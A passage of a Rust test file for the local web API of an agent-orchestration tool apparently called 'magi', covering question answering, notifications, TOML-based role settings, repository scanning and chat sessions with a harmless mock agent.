10352 &format!("/api/questions/{id}/answer"),
10353 Some(r#"{"choice":"hold"}"#),
10354 )
10355 .await;
10356 assert_eq!(res.status, 200, "{}", res.body);
10357 assert_eq!(res.json()["answer"]["choice"], "hold");
10358 assert_eq!(res.json()["origin_chat"], talk.id.as_str());
10359 assert_eq!(res.json()["can_consult_chat"], false);
10360 assert_eq!(fx.post(&path, None).await.status, 409);
10361
10362 let mut talk = fx.talks().get(&talk.id).unwrap();
10363 crate::talk::close(&mut talk, &fx.talks()).unwrap();
10364 let list = fx.get("/api/questions").await.json();
10365 assert_eq!(list[0]["origin_chat"], talk.id.as_str());
10366 assert_eq!(list[0]["origin_chat_closed"], true);
10367 assert_eq!(list[0]["can_consult_chat"], false);
10368
10369 fx.talks().remove(&talk.id).unwrap();
10370 let list = fx.get("/api/questions").await.json();
10371 assert_eq!(list[0]["origin_chat"], Value::Null);
10372 assert_eq!(list[0]["origin_chat_closed"], false);
10373 assert_eq!(list[0]["can_consult_chat"], false);
10374 }
10375
10376 #[tokio::test]
10377 async fn asking_back_clears_the_owner_count_until_the_agent_replies() {
10378 let fx = Fixture::start().await;
10379 let store = fx.questions();
10380 let id = ask(&fx, "Which backend?", &["SQLite", "Redis"]);
10381 assert_eq!(
10382 fx.get("/api/health").await.json()["questions_needs_owner"],
10383 1
10384 );
10385
10386 let res = fx
10392 .post(
10393 &format!("/api/questions/{id}/say"),
10394 Some(r#"{"body":"why not Postgres?"}"#),
10395 )
10396 .await;
10397 assert_eq!(res.status, 200, "{}", res.body);
10398 assert_eq!(fx.get("/api/health").await.json()["questions_open"], 1);
10399 assert_eq!(
10400 fx.get("/api/health").await.json()["questions_needs_owner"],
10401 0,
10402 "waiting on the agent is not waiting on the owner"
10403 );
10404
10405 let mut q = store.get(&id).expect("get");
10409 q.reply("because SQLite needs no server", vec!["SQLite".to_owned()])
10410 .expect("reply");
10411 store.put(&mut q).expect("put");
10412 assert_eq!(fx.get("/api/health").await.json()["questions_open"], 1);
10413 assert_eq!(
10414 fx.get("/api/health").await.json()["questions_needs_owner"],
10415 1,
10416 "the agent's reply is what should light the banner back up"
10417 );
10418 }
10419
10420 #[tokio::test]
10421 async fn saying_something_is_refused_when_empty_answered_or_abandoned() {
10422 let fx = Fixture::start().await;
10423 let store = fx.questions();
10424
10425 let empty_id = ask(&fx, "Which backend?", &["SQLite", "Redis"]);
10426 let res = fx
10427 .post(
10428 &format!("/api/questions/{empty_id}/say"),
10429 Some(r#"{"body":" "}"#),
10430 )
10431 .await;
10432 assert_eq!(res.status, 400, "{}", res.body);
10433
10434 let answered_id = ask(&fx, "Which backend?", &["SQLite", "Redis"]);
10435 let mut answered = store.get(&answered_id).expect("get");
10436 answered
10437 .answer(Answer::Choice("SQLite".to_owned()))
10438 .expect("answer");
10439 store.put(&mut answered).expect("put");
10440 let res = fx
10441 .post(
10442 &format!("/api/questions/{answered_id}/say"),
10443 Some(r#"{"body":"still there?"}"#),
10444 )
10445 .await;
10446 assert_eq!(res.status, 409, "{}", res.body);
10447
10448 let abandoned_id = ask(&fx, "Which backend?", &["SQLite", "Redis"]);
10449 let mut abandoned = store.get(&abandoned_id).expect("get");
10450 abandoned.abandon("timed out");
10451 store.put(&mut abandoned).expect("put");
10452 let res = fx
10453 .post(
10454 &format!("/api/questions/{abandoned_id}/say"),
10455 Some(r#"{"body":"still there?"}"#),
10456 )
10457 .await;
10458 assert_eq!(res.status, 409, "{}", res.body);
10459 }
10460
10461 #[tokio::test]
10462 async fn an_answer_the_question_does_not_offer_is_refused() {
10463 let fx = Fixture::start().await;
10464 let id = ask(&fx, "Which backend?", &["SQLite", "Redis"]);
10465 let path = format!("/api/questions/{id}/answer");
10466
10467 for body in [
10468 r#"{"choice":"Postgres"}"#,
10469 r#"{"text":"whatever you think"}"#,
10470 r#"{"choice":"Redis","text":"both"}"#,
10471 r#"{}"#,
10472 ] {
10473 let res = fx.post(&path, Some(body)).await;
10474 assert_eq!(res.status, 400, "{body} should be refused: {}", res.body);
10475 assert!(res.json()["error"].is_string(), "{}", res.body);
10476 }
10477 assert_eq!(fx.get("/api/health").await.json()["questions_open"], 1);
10479 }
10480
10481 #[tokio::test]
10482 async fn a_free_text_question_takes_text_and_not_a_choice() {
10483 let fx = Fixture::start().await;
10484 let id = ask(&fx, "What should the flag be called?", &[]);
10485 let path = format!("/api/questions/{id}/answer");
10486
10487 assert_eq!(
10488 fx.post(&path, Some(r#"{"choice":"--json"}"#)).await.status,
10489 400
10490 );
10491 let res = fx.post(&path, Some(r#"{"text":"--json"}"#)).await;
10492 assert_eq!(res.status, 200, "{}", res.body);
10493 assert_eq!(res.json()["answer"]["text"], "--json");
10494 }
10495
10496 #[tokio::test]
10497 async fn an_unknown_question_is_a_json_404() {
10498 let fx = Fixture::start().await;
10499 let res = fx
10500 .post("/api/questions/nope/answer", Some(r#"{"text":"x"}"#))
10501 .await;
10502 assert_eq!(res.status, 404, "{}", res.body);
10503 assert!(res.json()["error"].is_string());
10504 }
10505
10506 #[tokio::test]
10507 async fn notifications_list_read_dismiss_and_health_agree() {
10508 let fx = Fixture::start().await;
10509 let store = Notices::at(fx.home.path().join("notifications"));
10510 assert_eq!(fx.get("/api/notifications").await.json()["unread"], 0);
10511 let rev0 = fx.get("/api/health").await.json()["notifications_rev"].clone();
10512
10513 let a = store.raise(Notice::warn("task:1", "held")).unwrap();
10514 let b = store.raise(Notice::error("run:2", "blocked")).unwrap();
10515
10516 store
10517 .raise(Notice::warn("deputy:deleted-question", "obsolete warning"))
10518 .unwrap();
10519 let health = fx.get("/api/health").await.json();
10520 assert_eq!(health["notifications_unread"], 2);
10521 assert_ne!(
10522 health["notifications_rev"], rev0,
10523 "the badge must move live"
10524 );
10525
10526 let listed = fx.get("/api/notifications").await.json();
10527 assert_eq!(listed["unread"], 2);
10528 assert_eq!(listed["items"].as_array().unwrap().len(), 2);
10529 assert_eq!(listed["items"][0]["severity"], "error", "newest first");
10530
10531 let read = fx
10532 .post(&format!("/api/notifications/{}/read", a.id), None)
10533 .await;
10534 assert_eq!(read.status, 200, "{}", read.body);
10535 assert_eq!(fx.get("/api/notifications").await.json()["unread"], 1);
10536
10537 let gone = fx
10538 .post(&format!("/api/notifications/{}/dismiss", b.id), None)
10539 .await;
10540 assert_eq!(gone.status, 200, "{}", gone.body);
10541 let listed = fx.get("/api/notifications").await.json();
10542 assert_eq!(listed["items"].as_array().unwrap().len(), 1);
10543 assert_eq!(listed["unread"], 0);
10544
10545 store.raise(Notice::info("x", "again")).unwrap();
10546 let all = fx.post("/api/notifications/read-all", None).await;
10547 assert_eq!(all.status, 200, "{}", all.body);
10548 assert_eq!(all.json()["marked"], 1);
10549 assert_eq!(
10550 fx.get("/api/health").await.json()["notifications_unread"],
10551 0
10552 );
10553
10554 let missing = fx.post("/api/notifications/nope/read", None).await;
10555 assert_eq!(missing.status, 404, "{}", missing.body);
10556 assert!(missing.json()["error"].is_string());
10557 }
10558
10559 #[tokio::test]
10566 async fn a_task_cannot_be_filed_over_the_phone_directly() {
10567 let f = Fixture::start().await;
10568
10569 let res = f
10570 .post(
10571 "/api/queue",
10572 Some(r#"{"instruction":"Add a --json flag to magi list"}"#),
10573 )
10574 .await;
10575
10576 assert_eq!(
10577 res.status, 405,
10578 "POST /api/queue must not be a route: {}",
10579 res.body
10580 );
10581 assert!(
10582 f.queue().list().is_empty(),
10583 "a task filed by a route that does not exist must not reach the disk"
10584 );
10585 assert_eq!(f.get("/api/queue").await.status, 200);
10588 }
10589
10590 fn make_checkout(root: &FsPath, host: &str, owner: &str, repo: &str) {
10592 std::fs::create_dir_all(root.join(host).join(owner).join(repo).join(".git"))
10593 .expect("checkout dir");
10594 }
10595
10596 const SETTINGS_AGENTS: &str = "[[agents]]\nid = \"a\"\nkind = \"command\"\ncommand = [\"true\"]\n\n[[agents]]\nid = \"b\"\nkind = \"command\"\ncommand = [\"true\"]\n";
10598
10599 fn settings_dirs(repo_toml: &str, machine_toml: Option<&str>) -> (TempDir, PathBuf, PathBuf) {
10600 let tmp = TempDir::new().expect("tempdir");
10601 let repo = tmp.path().join("repo");
10602 std::fs::create_dir_all(&repo).expect("repo dir");
10603 std::fs::write(repo.join("magi.toml"), repo_toml).expect("repo toml");
10604 let machine = tmp.path().join("cfg").join("magi").join("config.toml");
10605 if let Some(text) = machine_toml {
10606 std::fs::create_dir_all(machine.parent().expect("parent")).expect("cfg dir");
10607 std::fs::write(&machine, text).expect("machine toml");
10608 }
10609 (tmp, repo, machine)
10610 }
10611
10612 async fn settings_checkout(path: &FsPath, text: &str) {
10613 std::fs::create_dir_all(path).unwrap();
10614 std::fs::write(path.join("magi.toml"), text).unwrap();
10615 for args in [
10616 vec!["init", "-b", "main"],
10617 vec!["add", "magi.toml"],
10618 vec![
10619 "-c",
10620 "user.name=Test",
10621 "-c",
10622 "user.email=test@example.invalid",
10623 "commit",
10624 "-m",
10625 "fixture",
10626 ],
10627 vec!["update-ref", "refs/remotes/origin/main", "HEAD"],
10628 vec![
10629 "symbolic-ref",
10630 "refs/remotes/origin/HEAD",
10631 "refs/remotes/origin/main",
10632 ],
10633 ] {
10634 crate::git::git(path, &args).await.unwrap();
10635 }
10636 }
10637
10638 #[tokio::test]
10639 async fn settings_context_handlers_validate_and_save_without_a_socket() {
10640 let (tmp, repo, machine) =
10641 settings_dirs("[roles]\nreviewers = [\"a\"]\n", Some(SETTINGS_AGENTS));
10642 let root = tmp.path().join("roots");
10643 let selected = root.join("host/owner/selected");
10644 settings_checkout(
10645 &selected,
10646 "[roles]\nconductor = \"b\"\n[graph]\njudges = 2\n",
10647 )
10648 .await;
10649 std::fs::write(&machine, format!("{SETTINGS_AGENTS}\n[roles]\nconductor = \"a\"\n[graph]\njudges = 1\n[repos]\nroots = [{}]\nscan_ttl = 3600\n", toml::Value::String(root.display().to_string()))).unwrap();
10650 let before = std::fs::read(&machine).unwrap();
10651 let ui = Arc::new(
10652 Ui::new(
10653 Queue::at(tmp.path().join("queue")),
10654 Questions::at(tmp.path().join("questions")),
10655 Talks::at(tmp.path().join("talks")),
10656 tmp.path().join("runs"),
10657 tmp.path().to_path_buf(),
10658 repo.clone(),
10659 )
10660 .with_machine_config(Some(machine.clone())),
10661 );
10662 let query = || {
10663 Query(SettingsQuery {
10664 repo: Some(selected.clone()),
10665 })
10666 };
10667 let Json(v) = settings_get(State(ui.clone()), query()).await.unwrap();
10668 assert!(v.error.is_none(), "{:?}", v.error);
10669 let conductor = v.roles.iter().find(|r| r.key == "conductor").unwrap();
10670 assert_eq!(conductor.source, "repo");
10671 assert_eq!(
10672 conductor.machine_value,
10673 Some(toml::Value::String("a".into()))
10674 );
10675 assert!(!conductor.editable);
10676 let judges = v.roles.iter().find(|r| r.key == "judges").unwrap();
10677 assert_eq!(
10678 judges.count.as_ref().unwrap().machine_value,
10679 Some(toml::Value::Integer(1))
10680 );
10681 assert!(
10682 !v.roles
10683 .iter()
10684 .find(|r| r.key == "reviewers")
10685 .unwrap()
10686 .editable
10687 );
10688 let unknown = || {
10689 Query(SettingsQuery {
10690 repo: Some(tmp.path().to_path_buf()),
10691 })
10692 };
10693 assert_eq!(
10694 settings_get(State(ui.clone()), unknown())
10695 .await
10696 .unwrap_err()
10697 .status,
10698 StatusCode::UNPROCESSABLE_ENTITY
10699 );
10700 let body = || {
10701 Ok(Json(RolesBody {
10702 revision: v.revision.clone(),
10703 roles: std::collections::BTreeMap::from([("judges".into(), vec!["b".into()])]),
10704 counts: Default::default(),
10705 }))
10706 };
10707 assert_eq!(
10708 settings_put_roles(State(ui.clone()), unknown(), body())
10709 .await
10710 .unwrap_err()
10711 .status,
10712 StatusCode::UNPROCESSABLE_ENTITY
10713 );
10714 assert_eq!(std::fs::read(&machine).unwrap(), before);
10715 let Json(saved) = settings_put_roles(State(ui.clone()), query(), body())
10716 .await
10717 .unwrap();
10718 assert_eq!(
10719 saved.repo,
10720 selected.canonicalize().unwrap().display().to_string()
10721 );
10722 assert!(settings::repository_config(&repo, Some(&machine)).is_ok());
10723 assert!(settings::repository_config(&selected, Some(&machine)).is_ok());
10724 let fresh = root.join("host/owner/fresh");
10726 settings_checkout(&fresh, "[graph]\nadvisors = 0\n").await;
10727 let Json(fresh_view) = settings_get(State(ui), Query(SettingsQuery { repo: Some(fresh) }))
10728 .await
10729 .unwrap();
10730 assert_eq!(fresh_view.repositories.len(), 3);
10731 }
10732
10733 #[tokio::test]
10734 async fn settings_context_selector_validates_paths_and_preserves_all_checkouts() {
10735 let (tmp, repo, machine) = settings_dirs(
10736 "[roles]\nreviewers = [\"a\"]\n",
10737 Some(&format!("{SETTINGS_AGENTS}\n[graph]\njudges = 1\n")),
10738 );
10739 let root = tmp.path().join("roots");
10740 let selected = root.join("host/owner/selected");
10741 settings_checkout(
10742 &selected,
10743 "[roles]\nadvisors = [\"b\"]\n[graph]\njudges = 2\n",
10744 )
10745 .await;
10746 let broken = root.join("host/owner/broken");
10747 settings_checkout(&broken, "[roles\nbroken").await;
10748 let machine_text = format!(
10749 "{SETTINGS_AGENTS}\n[graph]\njudges = 1\n[repos]\nroots = [{}]\n",
10750 toml::Value::String(root.display().to_string())
10751 );
10752 std::fs::write(&machine, &machine_text).unwrap();
10753 let originals: Vec<_> = [&repo, &selected, &broken]
10754 .iter()
10755 .map(|p| std::fs::read(p.join("magi.toml")).unwrap())
10756 .collect();
10757 let f = Fixture::with_repo_and_machine(repo.clone(), machine.clone()).await;
10758 let default = f.get("/api/settings").await.json();
10759 assert_eq!(
10760 default["repo"],
10761 repo.canonicalize().unwrap().display().to_string()
10762 );
10763 assert_eq!(default["repositories"].as_array().unwrap().len(), 3);
10764 let query = format!("?repo={}", selected.display());
10765 let res = f.get(&format!("/api/settings{query}")).await;
10766 assert_eq!(res.status, 200, "{}", res.body);
10767 let v = res.json();
10768 assert!(v["error"].is_null(), "{v}");
10769 assert_eq!(v["repositories"], default["repositories"]);
10770 let role = |key: &str| {
10771 v["roles"]
10772 .as_array()
10773 .unwrap()
10774 .iter()
10775 .find(|r| r["key"] == key)
10776 .unwrap()
10777 };
10778 assert_eq!(role("advisors")["configured"], serde_json::json!(["b"]));
10779 assert_eq!(role("advisors")["source"], "repo");
10780 assert_eq!(role("advisors")["editable"], false);
10781 assert!(role("advisors")["machine_value"].is_null());
10782 assert_eq!(role("judges")["count"]["value"], 2);
10783 assert_eq!(role("judges")["count"]["machine_value"], 1);
10784 assert_eq!(role("judges")["count"]["source"], "repo");
10785 let source = role("judges")["count"]["source_path"].as_str().unwrap();
10786 assert!(
10787 source.contains("origin/main") && !source.contains("magi/config/"),
10788 "{source}"
10789 );
10790 assert_eq!(
10791 role("reviewers")["editable"],
10792 false,
10793 "default context outside roots must protect its declarations"
10794 );
10795 let body =
10796 serde_json::json!({"revision": v["revision"], "roles": {"judges": ["b"]}}).to_string();
10797 let unknown = format!("?repo={}", tmp.path().display());
10798 assert_eq!(f.get(&format!("/api/settings{unknown}")).await.status, 422);
10799 assert_eq!(
10800 f.put(&format!("/api/settings/roles{unknown}"), &body)
10801 .await
10802 .status,
10803 422
10804 );
10805 assert_eq!(std::fs::read_to_string(&machine).unwrap(), machine_text);
10806 let refuse = serde_json::json!({"revision": v["revision"], "roles": {"reviewers": ["b"]}})
10807 .to_string();
10808 assert_eq!(
10809 f.put(&format!("/api/settings/roles{query}"), &refuse)
10810 .await
10811 .status,
10812 422
10813 );
10814 let saved = f.put(&format!("/api/settings/roles{query}"), &body).await;
10815 assert_eq!(saved.status, 200, "{}", saved.body);
10816 assert_eq!(saved.json()["repo"], v["repo"]);
10817 assert!(settings::repository_config(&repo, Some(&machine)).is_ok());
10818 assert!(settings::repository_config(&selected, Some(&machine)).is_ok());
10819 for (p, before) in [&repo, &selected, &broken].iter().zip(originals) {
10820 assert_eq!(std::fs::read(p.join("magi.toml")).unwrap(), before);
10821 }
10822 let error = f
10823 .get(&format!("/api/settings?repo={}", broken.display()))
10824 .await;
10825 assert_eq!(error.status, 200);
10826 assert!(error.json()["error"]["message"].is_string());
10827 assert_eq!(error.json()["repositories"], default["repositories"]);
10828 }
10829
10830 #[tokio::test]
10831 async fn settings_get_reports_sources_and_the_advisors_fallback() {
10832 let (_tmp, repo, machine) =
10833 settings_dirs(SETTINGS_AGENTS, Some("[roles]\njudges = [\"b\"]\n"));
10834 let f = Fixture::with_repo_and_machine(repo, machine).await;
10835 let res = f.get("/api/settings").await;
10836 assert_eq!(res.status, 200, "{}", res.body);
10837 let v = res.json();
10838 assert!(v["error"].is_null(), "{v}");
10839 let role = |k: &str| {
10840 v["roles"]
10841 .as_array()
10842 .and_then(|r| r.iter().find(|x| x["key"] == k))
10843 .cloned()
10844 .unwrap_or_else(|| panic!("no role {k}: {v}"))
10845 };
10846 assert_eq!(role("judges")["source"], "machine");
10847 assert_eq!(role("judges")["editable"], true);
10848 assert_eq!(role("implementers")["source"], "default");
10849 let adv = role("advisors");
10850 assert_eq!(adv["fallback"], "judges");
10851 assert!(
10852 adv["seats"]
10853 .as_array()
10854 .is_some_and(|s| s.iter().all(|x| x == "b")),
10855 "{adv}"
10856 );
10857 assert_eq!(v["agents"].as_array().map(Vec::len), Some(2));
10858 assert_eq!(v["agents"][0]["source"], "repo");
10859 }
10860
10861 #[tokio::test]
10862 async fn settings_get_reports_a_config_that_does_not_parse() {
10863 let (_tmp, repo, machine) = settings_dirs("[roles\nbroken", None);
10864 let f = Fixture::with_repo_and_machine(repo, machine).await;
10865 let res = f.get("/api/settings").await;
10866 assert_eq!(res.status, 200, "{}", res.body);
10867 let v = res.json();
10868 assert!(v["error"]["message"].is_string(), "{v}");
10869 assert!(
10870 v["error"]["path"]
10871 .as_str()
10872 .is_some_and(|p| p.ends_with("magi.toml")),
10873 "{v}"
10874 );
10875 assert_eq!(v["roles"].as_array().map(Vec::len), Some(0));
10876 }
10877
10878 #[tokio::test]
10879 async fn settings_put_saves_to_the_machine_file_and_keeps_comments() {
10880 let (_tmp, repo, machine) = settings_dirs(
10881 SETTINGS_AGENTS,
10882 Some("# mine\n[roles]\n# seats\njudges = [\"a\"] # note\n\n[vars]\nx = 1\n"),
10883 );
10884 let repo_before = std::fs::read(repo.join("magi.toml")).expect("read");
10885 let f = Fixture::with_repo_and_machine(repo.clone(), machine.clone()).await;
10886 let rev = f.get("/api/settings").await.json()["revision"]
10887 .as_str()
10888 .expect("revision")
10889 .to_owned();
10890 let body = serde_json::json!({
10891 "revision": rev,
10892 "roles": { "judges": ["b", "a"], "reviewers": ["a"] }
10893 })
10894 .to_string();
10895 let res = f.put("/api/settings/roles", &body).await;
10896 assert_eq!(res.status, 200, "{}", res.body);
10897 let text = std::fs::read_to_string(&machine).expect("machine");
10898 assert_eq!(
10899 text,
10900 "# mine\n[roles]\n# seats\njudges = [\"b\", \"a\"] # note\nreviewers = [\"a\"]\n\n[vars]\nx = 1\n"
10901 );
10902 assert_eq!(
10903 std::fs::read(repo.join("magi.toml")).expect("read"),
10904 repo_before
10905 );
10906 let again = f.get("/api/settings").await.json();
10907 let judges = again["roles"]
10908 .as_array()
10909 .expect("roles")
10910 .iter()
10911 .find(|r| r["key"] == "judges")
10912 .expect("judges")
10913 .clone();
10914 assert_eq!(judges["configured"], serde_json::json!(["b", "a"]));
10915 let stale = f.put("/api/settings/roles", &body).await;
10917 assert_eq!(stale.status, 409, "{}", stale.body);
10918 }
10919
10920 #[tokio::test]
10921 async fn settings_counts_are_reported_and_saved() {
10922 let (_tmp, repo, machine) = settings_dirs(
10923 &format!("{SETTINGS_AGENTS}\n[graph]\nreviewers = 2\n"),
10924 Some("# mine\n[graph]\ncandidates = 2 # seats\n"),
10925 );
10926 let f = Fixture::with_repo_and_machine(repo, machine.clone()).await;
10927 let v = f.get("/api/settings").await.json();
10928 let count = |v: &serde_json::Value, k: &str| {
10929 v["roles"]
10930 .as_array()
10931 .and_then(|r| r.iter().find(|x| x["key"] == k))
10932 .map(|x| x["count"].clone())
10933 .unwrap_or_else(|| panic!("no role {k}: {v}"))
10934 };
10935 let imp = count(&v, "implementers");
10936 assert_eq!(imp["value"], 2);
10937 assert_eq!(imp["source"], "machine");
10938 assert_eq!(imp["file_key"], "candidates");
10939 assert_eq!(imp["roster_len"], 2);
10940 assert_eq!(imp["backups"], 0);
10941 assert_eq!(count(&v, "judges")["source"], "default");
10942 assert_eq!(count(&v, "advisors")["min"], 0);
10943 assert_eq!(count(&v, "reviewers")["editable"], false);
10944 assert!(
10945 count(&v, "reviewers")["locked_reason"]
10946 .as_str()
10947 .is_some_and(|m| m.contains("graph.reviewers"))
10948 );
10949 assert!(count(&v, "fixer").is_null());
10950 let rev = v["revision"].as_str().expect("revision").to_owned();
10951 let body = serde_json::json!({
10952 "revision": rev,
10953 "roles": { "judges": ["b"] },
10954 "counts": { "implementers": 1, "advisors": 0 }
10955 })
10956 .to_string();
10957 let res = f.put("/api/settings/roles", &body).await;
10958 assert_eq!(res.status, 200, "{}", res.body);
10959 let text = std::fs::read_to_string(&machine).expect("machine");
10960 assert_eq!(
10961 text,
10962 "# mine\n[graph]\ncandidates = 1 # seats\nadvisors = 0\n\n[roles]\njudges = [\"b\"]\n"
10963 );
10964 let after = f.get("/api/settings").await.json();
10965 assert_eq!(count(&after, "implementers")["value"], 1);
10966 assert_eq!(count(&after, "implementers")["backups"], 1);
10967 assert_eq!(count(&after, "advisors")["value"], 0);
10968 let before = std::fs::read_to_string(&machine).expect("machine");
10969 let rev = after["revision"].as_str().expect("revision").to_owned();
10970 for counts in [
10971 serde_json::json!({ "judges": 0 }),
10972 serde_json::json!({ "judges": "x" }),
10973 serde_json::json!({ "judges": 2.5 }),
10974 serde_json::json!({ "judges": -1 }),
10975 serde_json::json!({ "reviewers": 3 }),
10976 serde_json::json!({ "bogus": 3 }),
10977 ] {
10978 let body = serde_json::json!({ "revision": rev, "counts": counts }).to_string();
10979 let res = f.put("/api/settings/roles", &body).await;
10980 assert_eq!(res.status, 422, "{counts}: {}", res.body);
10981 assert_eq!(std::fs::read_to_string(&machine).expect("machine"), before);
10982 }
10983 }
10984
10985 #[tokio::test]
10986 async fn settings_put_refuses_without_touching_the_file() {
10987 let machine_text = "# mine\n[roles]\njudges = [\"a\"]\n";
10988 let (_tmp, repo, machine) = settings_dirs(
10989 &format!("{SETTINGS_AGENTS}\n[roles]\nreviewers = [\"a\"]\n"),
10990 Some(machine_text),
10991 );
10992 let f = Fixture::with_repo_and_machine(repo, machine.clone()).await;
10993 let rev = f.get("/api/settings").await.json()["revision"]
10994 .as_str()
10995 .expect("revision")
10996 .to_owned();
10997 for roles in [
10998 serde_json::json!({ "judges": ["nope"] }),
10999 serde_json::json!({ "reviewers": ["b"] }),
11000 serde_json::json!({ "bogus": ["a"] }),
11001 ] {
11002 let body = serde_json::json!({ "revision": rev, "roles": roles }).to_string();
11003 let res = f.put("/api/settings/roles", &body).await;
11004 assert_eq!(res.status, 422, "{roles}: {}", res.body);
11005 assert!(res.json()["error"].as_str().is_some_and(|m| !m.is_empty()));
11006 assert_eq!(
11007 std::fs::read_to_string(&machine).expect("machine"),
11008 machine_text
11009 );
11010 }
11011 }
11012
11013 #[tokio::test]
11014 async fn repos_list_returns_name_and_path_for_every_configured_root() {
11015 let tmp = TempDir::new().expect("tempdir");
11016 let repo = tmp.path().join("repo");
11017 std::fs::create_dir_all(&repo).expect("repo dir");
11018 let root = tmp.path().join("root");
11019 make_checkout(&root, "github.com", "yukimemi", "magi");
11020 std::fs::write(
11021 repo.join("magi.toml"),
11022 format!(
11023 "[repos]\nroots = [{:?}]\n",
11024 root.to_string_lossy().into_owned()
11025 ),
11026 )
11027 .expect("write magi.toml");
11028
11029 let f = Fixture::with_repo(repo).await;
11030 let res = f.get("/api/repos").await;
11031 assert_eq!(res.status, 200, "{}", res.body);
11032 let list = res.json();
11033 let repos = list.as_array().expect("an array");
11034 assert_eq!(repos.len(), 1);
11035 assert_eq!(repos[0]["name"], "yukimemi/magi");
11036 assert!(
11037 repos[0]["path"]
11038 .as_str()
11039 .is_some_and(|p| p.ends_with("magi") || p.contains("magi")),
11040 "{list}"
11041 );
11042 }
11043
11044 #[tokio::test]
11045 async fn repos_list_only_rescans_within_the_ttl_when_asked_to() {
11046 let tmp = TempDir::new().expect("tempdir");
11047 let repo = tmp.path().join("repo");
11048 std::fs::create_dir_all(&repo).expect("repo dir");
11049 let root = tmp.path().join("root");
11050 make_checkout(&root, "github.com", "yukimemi", "magi");
11051 std::fs::write(
11052 repo.join("magi.toml"),
11053 format!(
11054 "[repos]\nroots = [{:?}]\nscan_ttl = 3600\n",
11055 root.to_string_lossy().into_owned()
11056 ),
11057 )
11058 .expect("write magi.toml");
11059
11060 let f = Fixture::with_repo(repo).await;
11061 let first = f.get("/api/repos").await;
11062 assert_eq!(first.json().as_array().map(Vec::len), Some(1));
11063
11064 make_checkout(&root, "github.com", "yukimemi", "rvpm");
11067 let second = f.get("/api/repos").await;
11068 assert_eq!(
11069 second.json().as_array().map(Vec::len),
11070 Some(1),
11071 "a fresh cache must not rescan inside the TTL"
11072 );
11073
11074 let refreshed = f.get("/api/repos?refresh=1").await;
11075 assert_eq!(
11076 refreshed.json().as_array().map(Vec::len),
11077 Some(2),
11078 "an explicit refresh must rescan even inside the TTL"
11079 );
11080 }
11081
11082 const MOCK_AGENT_TOML: &str = "[[agents]]\nid = \"mock\"\nkind = \"command\"\ncommand = [\"sh\", \"-c\", \"cat >/dev/null && printf ok\"]\n";
11088
11089 async fn talk_fixture() -> (TempDir, PathBuf, Fixture) {
11093 let tmp = TempDir::new().expect("tempdir");
11094 let repo = tmp.path().join("repo");
11095 std::fs::create_dir_all(&repo).expect("repo dir");
11096 std::fs::write(repo.join("magi.toml"), MOCK_AGENT_TOML).expect("write magi.toml");
11097 let f = Fixture::with_repo(repo.clone()).await;
11098 (tmp, repo, f)
11099 }
11100
11101 #[tokio::test]
11102 async fn posting_a_talk_with_remembered_choices_is_soft() {
11103 let (_tmp, _repo, f) = talk_fixture().await;
11104
11105 let good = f
11106 .post("/api/talks", Some(r#"{"persona":"rei","implementers":1}"#))
11107 .await;
11108 assert_eq!(good.status, 201, "{}", good.body);
11109 assert_eq!(good.json()["persona"], "rei");
11110
11111 let stale = f
11113 .post(
11114 "/api/talks",
11115 Some(r#"{"preferred_agent":"gone","persona":"nobody","implementers":7}"#),
11116 )
11117 .await;
11118 assert_eq!(stale.status, 201, "{}", stale.body);
11119 let v = stale.json();
11120 assert_eq!(v["implementers"], 1);
11121 assert_ne!(v["persona"], "nobody");
11122 let typed = f
11123 .post(
11124 "/api/talks",
11125 Some(r#"{"preferred_agent":3,"persona":[],"implementers":"x"}"#),
11126 )
11127 .await;
11128 assert_eq!(typed.status, 201, "{}", typed.body);
11129
11130 let strict = f.post("/api/talks", Some(r#"{"agent":"gone"}"#)).await;
11132 assert!(
11133 !strict.status.to_string().starts_with('2'),
11134 "{}",
11135 strict.body
11136 );
11137 }
11138
11139 #[tokio::test]
11140 async fn posting_a_talk_with_no_body_opens_one_and_takes_no_turn() {
11141 let (_tmp, _repo, f) = talk_fixture().await;
11142
11143 let opened = f.post("/api/talks", None).await;
11146 assert_eq!(opened.status, 201, "{}", opened.body);
11147 let body = opened.json();
11148 assert_eq!(body["status"], "open");
11149 assert_eq!(
11150 body["turns"].as_array().unwrap().len(),
11151 0,
11152 "opening takes no agent turn: there is nothing yet to answer"
11153 );
11154
11155 let also_opened = f.post("/api/talks", Some("{}")).await;
11157 assert_eq!(also_opened.status, 201, "{}", also_opened.body);
11158
11159 let listed = f.get("/api/talks").await.json();
11160 assert_eq!(listed.as_array().unwrap().len(), 2);
11161 }
11162
11163 #[tokio::test]
11164 async fn talk_agent_switches_the_roster_agent_and_refuses_unknown_busy_or_closed() {
11165 let tmp = TempDir::new().expect("tempdir");
11166 let repo = tmp.path().join("repo");
11167 std::fs::create_dir_all(&repo).expect("repo dir");
11168 let second = MOCK_AGENT_TOML.replace("\"mock\"", "\"second\"");
11169 std::fs::write(
11170 repo.join("magi.toml"),
11171 format!("{MOCK_AGENT_TOML}\n{second}"),
11172 )
11173 .expect("write magi.toml");
11174 let home = TempDir::new().expect("temp home");
11175 let talks = Talks::at(home.path().join("talks"));
11176 let ui = Arc::new(
11177 Ui::new(
11178 Queue::at(home.path().join("queue")),
11179 Questions::at(home.path().join("questions")),
11180 talks.clone(),
11181 home.path().join("runs"),
11182 home.path().to_path_buf(),
11183 repo.clone(),
11184 )
11185 .with_worktrees_root(home.path().join("wt")),
11186 );
11187 let cfg = config_for(&repo).await.expect("discover config");
11188 let talk = talk::begin(&talks, &cfg, repo.clone(), Some("mock")).expect("begin talk");
11189 let id = talk.id.clone();
11190 let call = |agent: &str| {
11191 talk_agent(
11192 State(Arc::clone(&ui)),
11193 Path(id.clone()),
11194 Json(TalkAgent {
11195 agent: agent.to_owned(),
11196 }),
11197 )
11198 };
11199
11200 let unknown = call("nobody").await.expect_err("unknown agent");
11201 assert_eq!(
11202 unknown.status,
11203 StatusCode::BAD_REQUEST,
11204 "{}",
11205 unknown.message
11206 );
11207
11208 {
11209 let guard = ui.begin_talk_turn(&id).expect("claim").expect("free");
11212 let busy = call("second").await.expect_err("busy talk");
11213 assert_eq!(busy.status, StatusCode::CONFLICT, "{}", busy.message);
11214 assert!(
11215 busy.message.contains("a talk turn is running"),
11216 "{}",
11217 busy.message
11218 );
11219 drop(guard);
11220 }
11221 assert_eq!(talks.get(&id).expect("reload").agent, "mock");
11222
11223 let Json(view) = call("second").await.expect("switch");
11224 assert_eq!(view.talk.agent, "second");
11225 assert_eq!(view.talk.turns.len(), 1, "the change is noted");
11226 let saved = talks.get(&id).expect("reload");
11227 assert_eq!(saved.agent, "second");
